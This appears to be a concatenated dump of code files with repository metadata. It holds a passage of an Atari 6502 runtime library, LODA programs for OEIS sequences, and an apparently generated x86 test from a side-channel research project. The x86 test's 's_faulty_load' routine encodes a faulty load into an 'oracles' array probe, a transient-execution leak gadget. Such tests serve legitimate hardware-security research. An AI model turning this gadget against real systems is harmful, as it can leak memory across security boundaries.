VBXE is detected lda #0 inx sta 0xd740 ; no such luck, try other location lda 0xd740 cmp #0x10 beq VBXE_Detected ldx #0 ; not here, so not present or FX core version too low stx fxptr+1 stx fxptr sec rts VBXE_Detected stx fxptr+1 lda #0 sta fxptr ldy #VBXE_MINOR ; get core minor version lda (fxptr),y clc rts ; x - page of vbxe */ .endl .endp .proc @setxdl(.byte a) .reg asl @ sta idx fxs FX_MEMS #$80+MAIN.SYSTEM.VBXE_XDLADR/$1000 ldy #0 idx equ *-1 lda MAIN.SYSTEM.VBXE_WINDOW+s@xdl.xdlc and msk,y ora val,y sta MAIN.SYSTEM.VBXE_WINDOW+s@xdl.xdlc lda MAIN.SYSTEM.VBXE_WINDOW+s@xdl.xdlc+1 and msk+1,y ora val+1,y sta MAIN.SYSTEM.VBXE_WINDOW+s@xdl.xdlc+1 fxs FX_MEMS #0 rts msk .array [6] .word [e@xdl.mapon] = [XDLC_MAPON|XDLC_MAPOFF]^$FFFF [e@xdl.mapoff] = [XDLC_MAPON|XDLC_MAPOFF]^$FFFF [e@xdl.ovron] = [XDLC_GMON|XDLC_OVOFF|XDLC_LR|XDLC_HR]^$FFFF [e@xdl.ovroff] = [XDLC_GMON|XDLC_OVOFF|XDLC_LR|XDLC_HR]^$FFFF [e@xdl.hr] = [XDLC_GMON|XDLC_OVOFF|XDLC_LR|XDLC_HR]^$FFFF [e@xdl.lr] = [XDLC_GMON|XDLC_OVOFF|XDLC_LR|XDLC_HR]^$FFFF .enda val .array [6] .word [e@xdl.mapon] = XDLC_MAPON [e@xdl.mapoff] = XDLC_MAPOFF [e@xdl.ovron] = XDLC_GMON [e@xdl.ovroff] = XDLC_OVOFF [e@xdl.hr] = XDLC_GMON|XDLC_HR [e@xdl.lr] = XDLC_GMON|XDLC_LR .enda .endp .proc @vbxe_init fxs FX_MEMC #%1000+>MAIN.SYSTEM.VBXE_WINDOW ; $b000..$bfff (4K window), cpu on, antic off fxs FX_MEMS #$80+MAIN.SYSTEM.VBXE_XDLADR/$1000 ; enable VBXE BANK #0 ldx #.sizeof(s@xdl)-1 mva:rpl xdlist,x MAIN.SYSTEM.VBXE_XDLADR+MAIN.SYSTEM.VBXE_WINDOW,x- jsr cmapini ; init color map fxsa FX_P1 ; A = 0 fxsa FX_P2 fxsa FX_P3 fxsa FX_IRQ_CONTROL fxsa FX_BLITTER_START fxsa FX_XDL_ADR0 ; XDLIST PROGRAM ADDRES (VBXE_XDLADR = $0000) = bank #0 fxsa FX_XDL_ADR1 fxsa FX_XDL_ADR2 sta colpf0s fxs FX_P0 #$ff mwa #@vbxe_cmap @putchar.vbxe+1 mva #{jsr*} @putchar.vbxe fxs FX_VIDEO_CONTROL #VC_XDL_ENABLED|VC_XCOLOR ;|VC_NO_TRANS rts cmapini lda colpf1s and #$0f sta colpf1s lda #$80+MAIN.SYSTEM.VBXE_MAPADR/$1000 sta ztmp mva #4 ztmp+1 loop fxs FX_MEMS ztmp lda >MAIN.SYSTEM.VBXE_WINDOW sta bp+1 ldx #16 ldy #0 lop mva #$00 (bp),y+ mva colpf1s (bp),y+ mva colpf2s (bp),y+ mva #%00010000 (bp),y+ ; overlay palette #1 bne lop inc bp+1 dex bne lop inc ztmp dec ztmp+1 bne loop fxs FX_MEMS #$00 ; disable VBXE BANK rts xdlist dta s@xdl [0] (XDLC_RPTL, 24-1,\ XDLC_END|XDLC_RPTL|XDLC_MAPON|XDLC_MAPADR|XDLC_OVADR|XDLC_MAPPAR|XDLC_OVATT,\ ;|XDLC_GMON,\ 192-1, MAIN.SYSTEM.VBXE_OVRADR, 320,\ MAIN.SYSTEM.VBXE_MAPADR, $100,\ 0, 0, 7, 7, %00010001, $ff) .endp .proc @vbxe_cmap pha cmp #eol beq stop cmp #$7d ; clrscr bne skp jsr @vbxe_init.cmapini jmp stop skp lda rowcrs pha :4 lsr @ add #$80+MAIN.SYSTEM.VBXE_MAPADR/$1000 fxsa FX_MEMS pla and #$0f add >MAIN.SYSTEM.VBXE_WINDOW sta bp+1 lda colcrs asl @ asl @ tay mva colpf0s (bp),y iny mva colpf1s (bp),y iny mva colpf2s (bp),y fxs FX_MEMS #$00 stop pla rts .endp /* ----------------------------------------------------------------------- */ /* .proc @cmdline (.byte a) .reg stx @sp sta idpar lda #0 sta parno lda boot? ; sprawdzamy, czy DOS w ogole jest w pamieci lsr bcc _no_command_line lda dosvec+1 ; a jesli tak, czy DOSVEC nie wskazuje ROM-u cmp #$c0 bcs _no_command_line ldy #$03 lda (dosvec),y cmp #{jmp} bne _no_command_line ldy #$0a ; COMTAB+$0A (BUFOFF) lda (dosvec),y sta lbuf iny lda (dosvec),y sta hbuf adw dosvec #3 zcr loop lda #0 sta @buf jsr $ffff zcr equ *-2 beq stop lda idpar bne skp ldy #33 ; ParamStr(0) _par0 lda (dosvec),y sta @buf-33+1,y iny cpy #36 bne _par0 lda #3 sta @buf bne stop skp ldy #36 _cp lda (dosvec),y sta @buf-36+1,y iny cmp #$9b bne _cp tya sub #37 sta @buf inc parno lda #0 parno equ *-1 cmp #0 idpar equ *-1 bne loop stop ldy #$0a ; przywracamy poprzednia wartosc BUFOFF lda #0 lbuf equ *-1 sta (dosvec),y iny lda #0 hbuf equ *-1 sta (dosvec),y _no_command_line ; przeskok tutaj oznacza brak dostepnosci wiersza polecen lda parno ldx #0 @sp equ *-1 rts .endp */ .proc @CmdLine (.byte a) .reg stx @sp sta idpar lda #0 sta parno sta loop+1 lda #{jsr*} sta res ; Get filename from SpartaDOS... get_param lda boot? ; sprawdzamy, czy DOS w ogole jest w pamieci lsr bcc no_sparta lda dosvec+1 ; a jesli tak, czy DOSVEC nie wskazuje ROM-u cmp #$c0 bcs no_sparta ldy #$03 lda (dosvec),y cmp #{jmp} bne no_sparta ldy #$0a ; COMTAB+$0A (BUFOFF) lda (dosvec),y sta lbuf iny lda (dosvec),y sta hbuf adw dosvec #33 tmp ldy #0 fnm lda (tmp),y iny cmp #$9b bne fnm tya ; remove .COM sub #5 tay lda #0 sta (tmp),y tay lda #3 sta loop+1 add dosvec sta get_adr lda #0 adc dosvec+1 sta get_adr+1 jmp _ok no_sparta mwa #next get_adr lda #{bit*} sta res ; ... or channel #0 lda MAIN.IOCB@COPY+2 ; command cmp #5 ; read line bne _no_command_line lda MAIN.IOCB@COPY+3 ; status bmi _no_command_line ; don't assume the line is EOL-terminated ; DOS II+/D overwrites the EOL with ".COM" ; that's why we rely on the length lda MAIN.IOCB@COPY+9 ; length hi bne _no_command_line ldx MAIN.IOCB@COPY+8 ; length lo beq _no_command_line inx:inx stx arg_len ; give access to three bytes before the input buffer ; in DOS II+/D the device prompt ("D1:") is there lda MAIN.IOCB@COPY+4 sub #3 sta tmp lda MAIN.IOCB@COPY+5 sbc #0 sta tmp+1 lda #0 ldy #0 arg_len equ *-1 sta (tmp),y loop ldy #0 _ok ldx #0 lprea lda (tmp),y sta @buf+1,x beq stop cmp #$9b beq stop cmp #' ' beq stop iny inx cpx #32 bne lprea stop lda #0 parno equ *-1 cmp #0 idpar equ *-1 beq found jsr $ffff ; sty loop+1 get_adr equ *-2 beq found inc parno bne loop found lda #0 ;+$9b sta @buf+1,x stx @buf res jsr sdxres _no_command_line ; przeskok tutaj oznacza brak dostepnosci wiersza polecen lda parno ldx #0 @sp equ *-1 rts sdxres ldy #$0a ; przywracamy poprzednia wartosc BUFOFF lda #0 lbuf equ *-1 sta (dosvec),y iny lda #0 hbuf equ *-1 sta (dosvec),y rts _next iny next lda (tmp),y beq _eol cmp #' ' beq _next cmp #$9b beq _eol sty loop+1 rts _eol lda #0 rts .endp /* ----------------------------------------------------------------------- */ /* .proc @rstsnd lda #0 sta $d208 sta $d218 ldy #3 sty $d20f sty $d21f rts .endp */ ; ert (*>$3fff) .and (*<$8000) /* ----------------------------------------------------------------------- */ .proc @xmsBank ptr3 = eax ; position (4) mva ptr3+3 ztmp+1 ; position shr 14 mva ptr3+2 ztmp lda ptr3+1 .rept 6 lsr ztmp+1 ror ztmp ror @ .endr tax ; index to bank lda portb and #1 ora main.misc.adr.banks,x sta portb lda ptr3 ; offset sta ztmp lda ptr3+1 and #$3f ora #$40 sta ztmp+1 rts .endp .proc @xmsReadBuf (.word ptr1, ptr2) .var ptr1 = dx ; buffer (2) ptr2 = cx ; count (2) pos = cx+2 ; position (2) pointer ptr3 = eax ; position (4) txa:pha ldy #0 lda (pos),y sta ptr3 iny lda (pos),y sta ptr3+1 iny lda (pos),y sta ptr3+2 iny lda (pos),y sta ptr3+3 lda ptr2+1 beq lp2 lp1 jsr @xmsBank lda ztmp+1 cmp #$7f bne skp lda ztmp beq skp lda #0 jsr nextBank jmp skp2 skp ldy #0 mva:rne (ztmp),y @buf,y+ skp2 lda portb and #1 ora #$fe sta portb ldy #0 mva:rne @buf,y (dx),y+ inc dx+1 // inc(dx, $100) inl ptr3+1 // inc(position, $100) dec ptr2+1 bne lp1 lp2 jsr @xmsBank lda ztmp+1 ; zakonczenie kopiowania cmp #$7f ; jesli przekraczamy granice banku $7FFF bne skp_ lda ztmp add ptr2 bcc skp_ lda ptr2 ; to realizuj wyjatek NEXTBANK, kopiuj PTR2 bajtow jsr nextBank jmp skp3 skp_ ldy #0 mv lda (ztmp),y sta @buf,y iny cpy ptr2 bne mv skp3 lda portb and #1 ora #$fe sta portb ldy #0 lp3 lda @buf,y sta (dx),y iny cpy ptr2 bne lp3 jmp @xmsUpdatePosition .local nextBank sta max mwa ztmp src ldy #0 mv0 lda $ffff,y src equ *-2 sta @buf,y iny inc ztmp bne mv0 lda portb and #1 ora main.misc.adr.banks+1,x sta portb ldx #0 mv1 cpy #0 max equ *-1 beq stp lda $4000,x sta @buf,y inx iny bne mv1 stp rts .endl .endp .proc @xmsWriteBuf (.word ptr1, ptr2) .var ptr1 = dx ; buffer (2) ptr2 = cx ; count (2) pos = cx+2 ; position (2) pointer ptr3 = eax ; position (4) txa:pha ldy #0 ; przepisz POSITION spod wskaznika lda (pos),y sta ptr3 iny lda (pos),y sta ptr3+1 iny lda (pos),y sta ptr3+2 iny lda (pos),y sta ptr3+3 lp1 lda portb ; wylacz dodatkowe banki and #1 ora #$fe sta portb ldy #0 ; przepisz 256b z BUFFER do @BUF mva:rne (dx),y @buf,y+ jsr @xmsBank ; wlacz dodatkowy bank lda ptr2+1 beq lp2 lda ztmp+1 ; jesli przekraczamy granice banku $7FFF cmp #$7f bne skp lda ztmp beq skp lda #0 ; to realizuj wyjatek NEXTBANK, kopiuj 256b jsr nextBank jmp skp2 skp mva:rne @buf,y (ztmp),y+ skp2 inc dx+1 // inc(dx, $100) inl ptr3+1 // inc(position, $100) dec ptr2+1 bne lp1 lp2 lda ztmp+1 ; zakonczenie kopiowania cmp #$7f ; jesli przekraczamy granice banku $7FFF bne skp_ lda ztmp add ptr2 bcc skp_ lda ptr2 ; to realizuj wyjatek NEXTBANK, kopiuj PTR2 bajtow jsr nextBank jmp quit skp_ ldy #0 lp3 lda @buf,y sta (ztmp),y iny cpy ptr2 bne lp3 quit lda portb and #1 ora #$fe sta portb jmp @xmsUpdatePosition .local nextBank sta max mwa ztmp dst ldy #0 mv0 lda @buf,y sta $ffff,y dst equ *-2 iny inc ztmp bne mv0 lda portb and #1 ora main.misc.adr.banks+1,x sta portb ldx #0 mv1 cpy #0 max equ *-1 beq stp lda @buf,y sta $4000,x inx iny bne mv1 stp rts .endl .endp .proc @xmsAddPosition .use @xmsReadBuf add ptr3 sta ptr3 lda #$00 adc ptr3+1 sta ptr3+1 lda #$00 adc ptr3+2 sta ptr3+2 lda #$00 adc ptr3+3 sta ptr3+3 rts .endp .proc @xmsUpdatePosition .use @xmsReadBuf tya jsr @xmsAddPosition ldy #0 lda ptr3 sta (pos),y iny lda ptr3+1 sta (pos),y iny lda ptr3+2 sta (pos),y iny lda ptr3+3 sta (pos),y pla:tax rts .endp /* ----------------------------------------------------------------------- */ .proc @ClrScr ldx #$00 lda #$0c jsr xcio mwa #ename ioadr,x mva #$0c ioaux1,x mva #$00 ioaux2,x lda #$03 xcio sta iocom,x jmp ciov ename .byte 'E:',$9b .endp /* ----------------------------------------------------------------------- */ opt l+
13.261336
96
0.639535
8f94a8f7aebdfc9bbd81fb56fab7175977e9e849
670
asm
Assembly
oeis/185/A185593.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/185/A185593.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/185/A185593.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A185593: a(n) = floor(n^(3/2))*floor(3+n^(3/2))/2. ; 2,5,20,44,77,119,189,275,405,527,702,902,1127,1430,1769,2144,2555,3002,3485,4094,4752,5459,6215,7020,8000,8910,10010,11174,12402,13694,15050,16652,18144,19899,21735,23652,25650,27729,29889,32130,34715,37400,39902,42777,45752,48827,52325,55610,59339,62834,66794,70499,74690,79002,83435,88409,93095,97902,103284,108344,114002,119804,125750,131840,138074,144452,150974,157640,165024,171990,179699,186965,194999,203202,211574,220115,228825,237704,247455,256685,266814,276395,286902,296834,307719,318800 add $0,1 seq $0,77121 ; Number of integer squares <= n^3. mov $1,$0 sub $0,2 pow $1,2 add $1,$0 mov $0,$1 div $0,2
55.833333
500
0.758209
3ad3dcf5f8338b89fd496d1ea8767bc2387106fb
491
asm
Assembly
oeis/026/A026910.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/026/A026910.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/026/A026910.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A026910: T(2n,n-1), T given by A026907. ; Submitted by Christian Krause ; 28,154,627,2414,9201,35094,134259,515302,1983678,7656374,29619728,114822606,445925707,1734610302,6757306947,26358212502,102937963242,402444721782,1574952822852,6169131608622,24184904949252,94885715007390 mov $3,$0 mov $5,4 lpb $5 mov $0,$3 sub $5,1 add $0,$5 add $0,1 mov $2,$0 mul $0,2 sub $0,2 bin $0,$2 mul $0,2 sub $0,$6 mov $6,$5 mul $6,$0 add $4,$6 lpe mov $0,$4 div $0,2 sub $0,18
19.64
205
0.678208
65523a90a8d8b4f4c259291e33260b55b91f8a93
5,521
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_20597_1656.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_20597_1656.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_20597_1656.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rbp push %rdi lea addresses_D_ht+0x18c9b, %rbp clflush (%rbp) nop nop xor $50054, %r14 movups (%rbp), %xmm4 vpextrq $0, %xmm4, %rdi nop nop nop nop dec %r10 pop %rdi pop %rbp pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r8 push %r9 push %rbx push %rcx push %rdx // Load lea addresses_UC+0xbcdb, %r9 nop nop nop xor %r14, %r14 movups (%r9), %xmm1 vpextrq $1, %xmm1, %rdx add %r8, %r8 // Load lea addresses_WC+0x525b, %r11 nop nop nop and $17738, %rcx mov (%r11), %dx nop nop cmp $36677, %r9 // Store lea addresses_WT+0xb35b, %r8 and $43834, %rcx movb $0x51, (%r8) nop nop nop sub %rcx, %rcx // Store mov $0x8db, %r8 nop nop nop add $44295, %r11 mov $0x5152535455565758, %r9 movq %r9, %xmm4 movups %xmm4, (%r8) sub $33376, %rbx // Store lea addresses_UC+0x1e7db, %r9 nop and $44777, %r14 mov $0x5152535455565758, %rbx movq %rbx, (%r9) nop nop nop cmp $5996, %r11 // Load lea addresses_UC+0x1ce4b, %r9 nop nop nop and %rdx, %rdx movups (%r9), %xmm5 vpextrq $1, %xmm5, %rbx nop and $10792, %rbx // Faulty Load lea addresses_UC+0x10cdb, %r9 nop nop xor $61605, %rbx mov (%r9), %rcx lea oracles, %r14 and $0xff, %rcx shlq $12, %rcx mov (%r14,%rcx,1), %rcx pop %rdx pop %rcx pop %rbx pop %r9 pop %r8 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'00': 20597} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
41.201493
2,999
0.650426
acc1da21abbcec30b54980c5fc779a45d93cfeca
661
asm
Assembly
oeis/004/A004295.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/004/A004295.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/004/A004295.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A004295: Expansion of (1+2*x+x^2)/(1-42*x+x^2). ; Submitted by Jon Maiga ; 1,44,1848,77572,3256176,136681820,5737380264,240833289268,10109260768992,424348119008396,17812511737583640,747701144859504484,31385635572361604688,1317448992894327892412,55301472065989409876616,2321344377778660886925460,97441162394637767840992704,4090207476197007588434768108,171691272837879680946419267832,7206943251714749592161174480836,302519925299181603189822908927280,12698629919313912584380401000464924,533039936685885146940787019110599528,22374978710887862258928674401644715252 mov $1,1 mov $3,4 lpb $0 sub $0,1 mul $1,40 add $3,$1 add $2,$3 mov $1,$2 lpe mov $0,$1
44.066667
486
0.842663
dadd961826823082a287a6a1a4d18c49d08a0f56
157
asm
Assembly
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_push.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_push.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_push.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; int wa_stack_push(wa_stack_t *s, void *item) SECTION code_adt_wa_stack PUBLIC wa_stack_push EXTERN w_array_append defc wa_stack_push = w_array_append
14.272727
46
0.821656
a7d17b3f617ccf73261a710e1b534457b1630e7b
717
asm
Assembly
oeis/041/A041147.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/041/A041147.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/041/A041147.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A041147: Denominators of continued fraction convergents to sqrt(83). ; Submitted by Jamie Morken(s2) ; 1,9,163,1476,26731,242055,4383721,39695544,718903513,6509827161,117895792411,1067571958860,19334191051891,175075291425879,3170689436717713,28711280221885296,519973733430653041,4708474881097762665,85272521593190381011,772161169219811191764,13984173567549791832763,126629723277167937686631,2293319192556572670192121,20766502456286321969415720,376090363405710368119675081,3405579773107679635046491449,61676526279343943798956521163,558494316287203173825655181916,10114574219449001072660749795651 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,2 mul $2,18 lpe mov $0,$2 div $0,18
42.176471
493
0.841004
1669d8836ece4ae347e599327ef72c8f4561e60e
619
asm
Assembly
oeis/226/A226514.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/226/A226514.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/226/A226514.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A226514: Column 3 of array in A226513. ; 13,44,99,184,305,468,679,944,1269,1660,2123,2664,3289,4004,4815,5728,6749,7884,9139,10520,12033,13684,15479,17424,19525,21788,24219,26824,29609,32580,35743,39104,42669,46444,50435,54648,59089,63764,68679,73840,79253,84924,90859,97064,103545,110308,117359,124704,132349,140300,148563,157144,166049,175284,184855,194768,205029,215644,226619,237960,249673,261764,274239,287104,300365,314028,328099,342584,357489,372820,388583,404784,421429,438524,456075,474088,492569,511524,530959,550880,571293,592204 add $0,2 mov $1,$0 pow $0,2 sub $0,3 mov $2,$1 add $2,3 mul $0,$2 add $0,8
51.583333
501
0.788368
c4c8963a8b35b84fc682fda6584df13e684769f6
671
asm
Assembly
oeis/105/A105671.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/105/A105671.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/105/A105671.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A105671: a(2n) = Lucas(2n+3)^2, a(2n+1) = Lucas(2n+1)^2. ; Submitted by Jon Maiga ; 16,1,121,16,841,121,5776,841,39601,5776,271441,39601,1860496,271441,12752041,1860496,87403801,12752041,599074576,87403801,4106118241,599074576,28143753121,4106118241,192900153616,28143753121,1322157322201,192900153616,9062201101801,1322157322201,62113250390416,9062201101801,425730551631121,62113250390416,2918000611027441,425730551631121,20000273725560976,2918000611027441,137083915467899401,20000273725560976,939587134549734841,137083915467899401,6440026026380244496,939587134549734841 add $0,1 seq $0,87123 ; a(n) = Fibonacci(n+1) - (-1)^n*Fibonacci(n). pow $0,2 mul $0,5 sub $0,4
67.1
489
0.818182
c53f4efb2f65631d08d40ebc622626b25ff76c49
4,175
asm
Assembly
ark.asm
bassguitarbill/arkanoid-gb
fadfe7e7e7615f1c2c32cc7b267a4d76ab93eee3
[ "MIT" ]
null
null
null
ark.asm
bassguitarbill/arkanoid-gb
fadfe7e7e7615f1c2c32cc7b267a4d76ab93eee3
[ "MIT" ]
null
null
null
ark.asm
bassguitarbill/arkanoid-gb
fadfe7e7e7615f1c2c32cc7b267a4d76ab93eee3
[ "MIT" ]
null
null
null
